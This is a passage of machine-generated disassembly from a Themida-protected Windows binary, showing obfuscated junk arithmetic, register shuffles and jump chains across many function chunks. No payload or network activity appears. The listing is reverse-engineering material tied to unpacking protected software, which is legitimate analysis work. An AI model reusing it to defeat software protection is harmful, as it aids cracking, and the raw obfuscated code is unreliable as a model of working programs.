; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_56782E: ; CODE XREF: sub_5713A7-6CC1j
not ebx
inc ebx
not ebx
jmp loc_562CAE
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_567838: ; CODE XREF: sub_5678CB+AD99j
not dh
and dh, 0AAh
sub dh, 0FAh
sub ch, dh
pop edx
pop eax
push dx
jmp loc_572BB8
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726BB
loc_56784B: ; CODE XREF: sub_5726BB+9j
add ebx, 4
xchg ebx, [esp+4+var_4]
jmp loc_57103F
; END OF FUNCTION CHUNK FOR sub_5726BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_567856: ; CODE XREF: sub_5605BC+44F2j
xor esi, edx
pop edx
jmp loc_567B75
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
loc_56785E: ; CODE XREF: Themida_:00571B66j
xchg edi, [esp]
jmp loc_56C80B
; =============== S U B R O U T I N E =======================================
sub_567866 proc near ; DATA XREF: Themida_:0055FE9Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056276F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563A59 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005646E4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00565BDF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B8FB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056DED5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571322 SIZE 0000004C BYTES
push dword ptr [esp+0]
pop eax
jmp loc_571322
sub_567866 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_56786F: ; CODE XREF: sub_56102D+127Dj
add esi, 4
xchg esi, [esp+0]
pop esp
jmp loc_56F156
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561826
loc_56787E: ; CODE XREF: sub_561826+15j
xchg ax, cx
xchg ax, bx
push bp
push small 322h
jmp loc_56FE5F
; END OF FUNCTION CHUNK FOR sub_561826
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56788D: ; CODE XREF: sub_57354D-DE8Fj
mov ebp, 2B3777Ah
or esi, ebp
jmp loc_560F4A
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_567899: ; CODE XREF: sub_575315-8027j
add ebx, 59517FC3h
jmp loc_57279F
; END OF FUNCTION CHUNK FOR sub_575315
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574287
loc_5678A4: ; CODE XREF: sub_574287-53EDj
pop ebp
push ecx
push edx
mov edx, 4
mov ecx, edx
pop edx
add ebp, ecx
pop ecx
push eax
mov eax, esp
jmp loc_567E31
; END OF FUNCTION CHUNK FOR sub_574287
; ---------------------------------------------------------------------------
loc_5678BA: ; CODE XREF: Themida_:0056FE7Aj
mov eax, 220833B5h
xchg eax, ebx
not ebx
xchg eax, ebx
shl eax, 7
jmp loc_563E0B
; =============== S U B R O U T I N E =======================================
sub_5678CB proc near ; CODE XREF: sub_574229-13160j
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560197 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00560307 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005603A4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005606E9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00560ED3 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056157F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561A2B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562CE9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00562D30 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056309C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005634A8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563E19 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005657E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565DF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005668F4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566D2A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566E1F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056747C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005677AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567838 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00567C91 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005681BD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005682C8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005685EC SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00569568 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056985F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569D40 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A05A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A46B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056A913 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AFA0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056B1C8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B5D0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056BC6F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056CE33 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D3F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E597 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056EA81 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056FC02 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056FF79 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005703E6 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00570F8D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0057136E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00571875 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00571A0D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571CF1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571D99 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057252D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057265C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572BB8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00572C0F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573569 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057387C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573CC3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005743A7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00574727 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005747E2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574B21 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00574D5D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00574FD2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005751A3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005753B6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0057548D SIZE 0000000F BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ch, 38h
add ch, 0FFh
not ch
inc ch
push 6C79h
mov [esp+8+var_A+2], ebx
mov bh, ch
push ax
mov al, bh
not al
push 69CAh
jmp loc_56A913
sub_5678CB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_5678F4: ; CODE XREF: sub_561027+127BFj
pop esp
shr eax, 0Ah
xor eax, ecx
push eax
push esp
pop eax
push 594Bh
mov [esp+18h+var_18], edi
jmp loc_5713DE
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574503
loc_56790A: ; CODE XREF: sub_574503-88F0j
mov [esp+4+var_4], ebx
push edi
mov edi, 4
mov ebx, edi
jmp loc_56D138
; END OF FUNCTION CHUNK FOR sub_574503
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56791A: ; CODE XREF: sub_561418-72Cj
or edx, ebp
pop ebp
dec edx
inc edx
jmp loc_56EBBE
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_567924: ; CODE XREF: sub_574CDD-6EBDj
and esi, 2AAF3732h
push ecx
mov ecx, 0F2664EBh
push 3491h
mov [esp+8+var_8], edi
push eax
push 6FD371FDh
pop eax
dec eax
xor eax, 2A4750E6h
shl eax, 5
xor eax, 0FA8B67D6h
jmp loc_5656D9
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_567952: ; CODE XREF: sub_5666C3+EA59j
dec ebp
dec ebp
xor ebp, 5F30553Ah
add eax, 2F911C0Dh
sub eax, 292A3717h
push 431Eh
mov [esp+0], ebx
push 78EB7961h
pop ebx
sub eax, ebx
pop ebx
push ecx
mov ecx, 3EAA110Ah
shl ecx, 3
or ecx, 68CF3252h
add ecx, 1B4416A7h
jmp loc_574BCA
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643EB
loc_56798F: ; CODE XREF: sub_5643EB+69ABj
push edx
jmp loc_56177A
; END OF FUNCTION CHUNK FOR sub_5643EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_567995: ; CODE XREF: sub_569AB3+73A0j
push [esp+4+var_4]
pop edx
push edi
jmp loc_5746E1
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56799F: ; CODE XREF: sub_56B06D+267Bj
sub eax, 0E397C8Bh
sub eax, 3FBECA0Fh
sub edx, eax
mov eax, [esp+18h+var_18]
jmp loc_56D606
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_5679B3: ; CODE XREF: sub_569193+5B1Bj
mov ecx, esp
add ecx, 4
sub esp, 4
jmp loc_566B71
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_5679C6: ; CODE XREF: sub_57146D+8j
mov [esp+0], ebx
push edx
mov dl, 92h
mov bh, 0C0h
add bh, 0A9h
jmp loc_5707A4
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_5679D6: ; CODE XREF: sub_560EA2+11j
add esp, 4
sub eax, 57DC0C1Eh
add eax, ebx
jmp loc_568206
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5679E8: ; CODE XREF: sub_57354D+120Dj
shr edx, 4
jmp loc_561FF0
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56666D
loc_5679F0: ; CODE XREF: sub_56666D+EADEj
push [esp+10h+var_10]
jmp loc_5610B4
; END OF FUNCTION CHUNK FOR sub_56666D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_5679F8: ; CODE XREF: sub_568E5C-3101j
add eax, ecx
jmp loc_56B5E0
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5679FF: ; CODE XREF: sub_5685B2-4615j
dec ebx
inc ebx
push edx
mov edx, 718D10F2h
push esi
push edx
push eax
jmp loc_560742
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_567A0F: ; CODE XREF: sub_570E81+F42j
sub [esp+4+arg_0], edx
jmp loc_56E3A9
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_567A18: ; CODE XREF: sub_561418+6E75j
mov [esp+0], edx
mov edx, 7F95C501h
xor ebx, edx
jmp loc_572023
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
loc_567A27: ; CODE XREF: Themida_:00565420j
push ebx
push 0
pop ebx
jmp loc_563DC1
; ---------------------------------------------------------------------------
loc_567A33: ; CODE XREF: Themida_:00570EA2j
add ebp, 4
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
imul cx, ax
push cx
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572669
loc_567A54: ; CODE XREF: sub_572669-39EEj
pop eax
jmp loc_561B33
; END OF FUNCTION CHUNK FOR sub_572669
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_567A5A: ; CODE XREF: sub_566DFE+5B0j
xchg eax, esi
not esi
xchg eax, esi
not eax
xor eax, 5D0BA182h
push ebp
sub esp, 4
mov [esp+8+var_8], eax
mov ebp, [esp+8+var_8]
add esp, 4
mov esi, ebp
mov ebp, [esp+4+var_4]
jmp loc_5746BE
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_567A7F: ; CODE XREF: sub_574304-193Fj
dec ebp
add ebp, 39277D7h
jmp loc_56A69D
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_567A8B: ; CODE XREF: sub_56616D+4DCDj
pop ebx
xor esi, 0CF6D5438h
mov ecx, esi
pop esi
push ebp
push 4B5E6DD2h
pop ebp
and ebp, 56916F1Eh
sub ebp, 5684408Bh
jmp loc_573CAF
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_567AAD: ; CODE XREF: sub_56FA15-8F45j
sub al, 37h
sub al, 0D8h
push ecx
mov ch, 95h
jmp loc_56E513
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_567AB9: ; CODE XREF: sub_572141-56C1j
push edx
push 56626DCFh
pop edx
or edx, 495B3A01h
sub edx, 443C7C9Ch
mov esi, edx
pop edx
jmp loc_56247E
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B310
loc_567AD4: ; CODE XREF: sub_56B310+99A9j
xor eax, 5B7D6597h
add edi, 3F532929h
add edi, eax
sub edi, 3F532929h
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
add esp, 4
add esp, 4
jmp loc_566E06
; END OF FUNCTION CHUNK FOR sub_56B310
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_567AFB: ; CODE XREF: sub_574FC9-78AEj
mov [esp+8+var_8], edx
push ebx
push 46EB3F1Eh
mov ebx, [esp+10h+var_10]
add esp, 4
shr ebx, 5
neg ebx
jmp loc_570EAE
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_567B14: ; CODE XREF: sub_568646+Dj
push ecx
jmp loc_562043
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_567B1A: ; CODE XREF: sub_572E16-3518j
xor edi, [esp+8+var_8]
pop esp
sub esp, 4
mov [esp+8+var_8], ebx
jmp loc_571254
; END OF FUNCTION CHUNK FOR sub_572E16
; =============== S U B R O U T I N E =======================================
sub_567B29 proc near ; CODE XREF: sub_56616D+70A1j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00563AD9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00567426 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567D42 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A07E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056B2DA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056D9FC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E44D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F8BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FDBF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0057072C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005722BB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057321C SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005736C7 SIZE 0000001B BYTES
push ebx
jmp loc_56E44D
sub_567B29 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_567B2F: ; CODE XREF: sub_574A21-C666j
mov edi, ebp
pop ebp
xor esi, edi
pop edi
and ecx, esi
pop esi
and ecx, 4ACC5E4Fh
sub ecx, 0FCF1A761h
add ebx, 76A64AC7h
add ebx, ecx
sub ebx, 76A64AC7h
pop ecx
add ebx, 2DB14E00h
sub ebx, eax
push ecx
mov ecx, 7EBC439Ah
push eax
push ebx
mov ebx, 733541ACh
mov eax, ebx
pop ebx
jmp loc_56316A
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_567B70: ; CODE XREF: sub_575315-58Bj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_575315
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_567B75: ; CODE XREF: sub_5605BC+729Dj
add ecx, esi
pop esi
push 7DA6h
mov [esp+0], ebp
mov ebp, 555B1FA0h
add ebp, 30200055h
and ebp, 10845C2Ah
jmp loc_565818
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_567B96: ; CODE XREF: sub_571088-87CEj
push ecx
mov ch, dl
push edx
mov dh, ch
mov bl, dh
pop edx
pop ecx
pop dx
jmp loc_570153
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_567BA7: ; CODE XREF: sub_56FCD7-8628j
mov edi, [esp+0Ch+var_C]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
jmp loc_566A9E
; END OF FUNCTION CHUNK FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_567BBE: ; CODE XREF: sub_570CE4+Bj
mov [esp+4+var_4], esi
push ebx
push 6A4D10FFh
pop ebx
sub ebx, 3E55E5D5h
mov esi, ebx
mov ebx, [esp+8+var_8]
push edi
mov edi, esp
jmp loc_572F6D
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_567BDB: ; CODE XREF: sub_574A21+Ej
add eax, 682F4722h
pop ebp
jmp loc_566EC9
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_567BE6: ; CODE XREF: sub_574304-EE07j
mov [esp+0Ch+var_C], eax
mov ebp, [esp+0Ch+var_C]
add esp, 4
pop eax
xor ecx, ebp
xor ebp, ecx
xor ecx, ebp
xor [esp+4+var_4], ecx
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
push [esp+4+var_4]
mov eax, [esp+8+var_8]
sub esp, 4
mov [esp+0Ch+var_C], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
add esp, 4
push ebx
push esp
mov ebx, [esp+4+var_4]
add esp, 4
push ebp
jmp loc_57486F
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_567C36: ; CODE XREF: sub_563819-750j
pop esi
add eax, 4
xchg eax, [esp-4+arg_0]
pop esp
jmp loc_568A79
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
loc_567C45: ; CODE XREF: Themida_:0056CE1Aj
push esp
pop ecx
push edi
mov edi, 4
sub ecx, 20F30807h
jmp loc_563C27
; =============== S U B R O U T I N E =======================================
sub_567C58 proc near ; DATA XREF: Themida_:0055FEACo
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005615C8 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005634F9 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00566019 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056AC89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056ADEF SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0056BC61 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573684 SIZE 0000001B BYTES
mov cx, [esp+0]
push eax
sub esp, 4
push esp
pop [esp+0Ch+var_C]
add [esp+8+var_8], 4
pop eax
push ebp
mov ebp, 58F57029h
shl ebp, 1
jmp loc_573684
sub_567C58 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_567C76: ; CODE XREF: sub_5687A3+285Ej
push eax
push ebx
mov ebx, 38E22D7Fh
mov eax, ebx
pop ebx
sub eax, 38063BB8h
not eax
add eax, 409F774Fh
jmp loc_5699BF
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_567C91: ; CODE XREF: sub_5678CB-772Ej
push ecx
mov cl, 0F3h
sub cl, 8Bh
mov dl, cl
jmp loc_570F8D
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_567C9E: ; CODE XREF: sub_574CDD-142CBj
shr edi, 5
shr edi, 1
sub edi, 70DAA6h
mov edx, edi
pop edi
add ebp, edx
pop edx
xor ebp, [esp+0]
jmp loc_56F5DD
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_567CB7: ; CODE XREF: sub_57354D-4B38j
mov [esp+0], ebp
push 6597h
jmp loc_5674AF
; END OF FUNCTION CHUNK FOR sub_57354D
; =============== S U B R O U T I N E =======================================
sub_567CC4 proc near ; DATA XREF: Themida_:0055FE60o
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp+0], ax
pushf
jmp loc_55FF9F
sub_567CC4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_567CD4: ; CODE XREF: sub_565632+F0E5j
sub ecx, 65495C14h
sub ecx, 1
xor ecx, 408F7013h
jmp loc_56DDA3
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_567CE8: ; CODE XREF: sub_5673C3-2531j
add ebp, edi
pop edi
push 3BF0h
jmp loc_5664C7
; END OF FUNCTION CHUNK FOR sub_5673C3
; =============== S U B R O U T I N E =======================================
sub_567CF5 proc near ; DATA XREF: Themida_:0055FE4Co
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00563402 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00565ADD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00565F5A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00566028 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056713A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568002 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056A461 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056AE7F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056CD22 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056D3C6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056E6B3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056F14E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057105B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574BD7 SIZE 0000000A BYTES
mov cx, [esp+0]
jmp loc_563402
sub_567CF5 endp
; =============== S U B R O U T I N E =======================================
sub_567CFE proc near ; DATA XREF: Themida_:0055FDD8o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0055FFB8 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005604BE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00561927 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561A9B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005659F9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B211 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056E0FB SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056E22D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571A5F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00572352 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005737FB SIZE 00000006 BYTES
push ebp
push ecx
push edi
push 417832CFh
mov edi, [esp+10h+var_10]
add esp, 4
push edx
mov edx, 365D32E7h
jmp loc_571A5F
sub_567CFE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_567D17: ; CODE XREF: sub_571C0A-2BF8j
add ebp, 864A5A56h
mov edx, ebp
jmp loc_562FB3
; END OF FUNCTION CHUNK FOR sub_571C0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_567D24: ; CODE XREF: sub_570CE4+2C3Bj
mov eax, 0BF87FABh
shr eax, 4
jmp loc_573F09
; END OF FUNCTION CHUNK FOR sub_570CE4
; =============== S U B R O U T I N E =======================================
sub_567D31 proc near ; CODE XREF: sub_56C553-9FCDj
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00560562 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00560FC8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005621C6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00562F11 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562F72 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00563238 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 005636AD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564157 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00564E29 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564E97 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00565256 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00565383 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005653B8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056567A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565B36 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00566C55 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00567584 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568B10 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00569A44 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A44D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C60A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C8E9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056E561 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056F806 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570051 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00570855 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570D4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005718C0 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00571974 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00571CDB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005725D0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00573252 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005742D7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00574BEB SIZE 0000000A BYTES
push ebp
mov ebp, 4
add ecx, ebp
push dword ptr [esp+0]
pop ebp
jmp loc_570051
sub_567D31 endp ; sp-analysis failed
